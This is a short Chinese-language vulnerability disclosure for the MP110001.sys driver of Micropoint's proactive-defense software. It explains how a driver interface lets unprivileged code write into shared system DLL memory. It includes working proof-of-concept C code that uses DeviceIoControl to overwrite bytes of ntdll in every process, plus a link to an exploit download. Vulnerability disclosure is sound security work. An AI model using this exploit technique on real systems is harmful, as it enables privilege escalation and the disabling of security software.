![]() |
微点主动防御(version20081008)及以下本地权限提升漏洞(user权限下绕过UAC、主动防御) |
出问题的组件:MP110001.sys,版本号:1.2.10006 CheckSum = 0x00009F60 TimeStamp = 0x43620505 该驱动提供了一个接口,允许RING3程序将一块数据COPY到地址0-0x80000000的任意地址,在写入时会将寄存器CR0的第16位置0,此时CPU的页保护机制就会失效,WINDOWS NT 的CopyOnWrite机制也将失效,RING3程序可以将内存写入到系统模块,例如kernel32.dll, user32.dll的地址,改写它们的代码,此时对系统DLL代码的改写会在所有进程体内同时生效. 通过这一接口,任何权限的RING3程序就可以HOOK或旁路系统任何进程的函数调用,从而进行权限提升,如果HOOK进主动防御、防火墙等的进程体内,则可绕过主动防御软件的保护。 测试代码: HANDLE hdev = CreateFile("\\\\.\\MP110001" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ |FILE_SHARE_WRITE , 0, OPEN_EXISTING , 0, 0); if (hdev == INVALID_HANDLE_VALUE) { CHAR xx[100]; sprintf(xx , "create err = %u\n" , GetLastError()); MessageBox(xx, 0 , 0 ); return ; } CHAR xx[] = "hello mp!"; HMODULE p = GetModuleHandle("ntdll.dll"); ULONG btr ; BOOL bret = DeviceIoControl(hdev , 0x220007, (PVOID)((ULONG)p + 2 ), strlen(xx)+1 , xx, 0, &btr , 0 ); CloseHandle(hdev); 测试代码会向NTDLL.DLL的DOS头第二个字节开始写入一个字符串“hello mp",此修改将在系统任何进程体内生效,可使用OD、WINDBG,WINHEX等工具查看 测试程序下载 http://mj0011.ys168.com 漏洞演示目录下LOCALexp_MP.rar |